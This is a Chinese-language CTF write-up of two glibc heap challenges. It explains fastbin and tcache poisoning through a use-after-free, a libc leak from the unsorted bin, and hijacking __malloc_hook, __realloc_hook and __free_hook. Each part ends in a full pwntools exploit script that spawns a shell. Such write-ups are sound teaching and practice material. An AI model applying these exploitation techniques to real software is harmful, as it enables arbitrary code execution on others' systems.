ezheap1
前置知识
ubuntu16环境 ,libc-2.23 无tcache,堆小于0x80被释放后会到fastbins中,大于则会放在unsortedbins中
fastbins是单向链表,同一大小被释放的堆会在此处形成单向链表
unsortedbins是双向链表,被释放到此处的堆会形成双向链表,链表头部为main_arena
注意释放几个才可申请几个,若直接释放一个就只能再申请一个,因此想要多申请要利用堆里的漏洞
main_arena可以泄露libc,因此可以创建较大的堆后释放,使其进入unsortedbins,泄露main_arena的地址泄露libc
main_arena的偏移在libc源文件中malloc_trim函数里可以找到(后三位要看gdb进行修正)
malloc_hook
main_arena减0x10个字节地址为malloc_hook(libcbase+libc.symbols[]也可),malloc执行前会检查malloc_hook里指向的地址,若不为0,则先执行malloc_hook指向的地址在进行malloc开辟内存
realloc_hook
若realloc_hook不为0,则在realloc调用前会进行realloc_hook里的值,realloc里有大量的pop和push可以用来调栈,以防止onegadget不能用
题目分析
chunk被释放后依旧可以可以被修改,因此可以让chunk进入fastbins,把指向后面链表修改为指针指向malloc_hook的位置,注意要偏移一下,因为fastbins会对申请的区域进行检查,而malloc_hook是被保护的地方,不能直接申请
首先申请较大的chunk,释放后在打印,可直接泄露main_arena进而泄露libc
之后再释放两个小chunk,覆盖fastbins前面的chunk让其指向realloc_hook的偏移,realloc和malloc在一起可以一起覆盖
malloc_hook里存放realloc或其偏移用于调栈并调用realloc_hook里的函数,realloc_hook存放one_gadget用于获得shell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| from pwn import* from LibcSearcher import*
r=process('./ezheap1')
libc=ELF('./pwn_tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
def add(size): r.recvuntil(b'choice: ') r.sendline(b'1') r.recvuntil(b'Size: ') r.sendline(str(size)) def move(index): r.recvuntil(b'choice: ') r.sendline(b'2') r.recvuntil(b'Index: ') r.sendline(str(index))
def show(index): r.recvuntil(b'choice: ') r.sendline(b'3') r.recvuntil(b'Index: ') r.sendline(str(index)) def edit(index,content): r.recvuntil(b'choice: ') r.sendline(b'4') r.recvuntil(b'Index: ') r.sendline(str(index)) r.recvuntil(b'name: ') r.send(content)
add(0x80) add(0x80) move(0) add(0x80) show(0) addr=u64(r.recv(6).ljust(8,b'\x00')) print(hex(addr)) base=addr-0x3c4b78+0x1000 onegadget=base+0xf0897 malloc=base+libc.symbols['__malloc_hook'] realloc=base+libc.symbols['realloc']
print(hex(base)) print(hex(realloc-base)) print(hex(malloc)) print(hex(realloc)) print(hex(onegadget))
ptr=base+0x3c9890
add(0x68) add(0x68) move(3)
move(4)
add(0x10) move(5) edit(5,p64(malloc))
gdb.attach(r) edit(3,p64(malloc-0x23)) add(0x68) add(0x68) add(0x68) payload=b'\x00'*11+p64(onegadget)+p64(realloc+0xd)
edit(8,payload)
add(0x10)
r.interactive()
''' 0x45206 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4525a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xef9f4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf0897 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
'''
|
ezheap2
前置知识
源文件与第一题一模一样,但ubuntu 20的环境
free_hook
同malloc_hook再调用free前会检查free_hook,但chunk里的值可以作为free_hook里函数的参数,例如chunk里存放binsh,free_hook里存放system,则free时直接获得shell
题目分析
前七个被释放的chunk会进入tcache,tcahce没有任何检查,比第一题简单,因此申请free_hook不用加任何偏移。
这题用malloc_hook会发现即使调栈也无法满足onegadget
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| from pwn import* from LibcSearcher import*
r=process('./ezheap2')
libc=ELF('./pwn_tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')
def add(size): r.recvuntil(b'choice: ') r.sendline(b'1') r.recvuntil(b'Size: ') r.sendline(str(size)) def move(index): r.recvuntil(b'choice: ') r.sendline(b'2') r.recvuntil(b'Index: ') r.sendline(str(index))
def show(index): r.recvuntil(b'choice: ') r.sendline(b'3') r.recvuntil(b'Index: ') r.sendline(str(index)) def edit(index,content): r.recvuntil(b'choice: ') r.sendline(b'4') r.recvuntil(b'Index: ') r.sendline(str(index)) r.recvuntil(b'name: ') r.send(content)
add(0x4f8) add(0x10) move(0) show(0) addr=u64(r.recv(6).ljust(8,b'\x00')) print(hex(addr))
base=addr-0x1ebbe0 print(hex(base))
freehook=base+libc.symbols['__free_hook'] print(hex(freehook)) system=base+libc.symbols['system'] add(0x4f8)
add(0x68)
add(0x68) move(3) move(4)
edit(4,p64(freehook)) add(0x68) add(0x68) edit(6,p64(system)) add(0x68) edit(7,b'/bin/sh\x00')
move(7)
r.interactive()
''' 0xe6aee execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL
0xe6af1 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL
0xe6af4 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
'''
|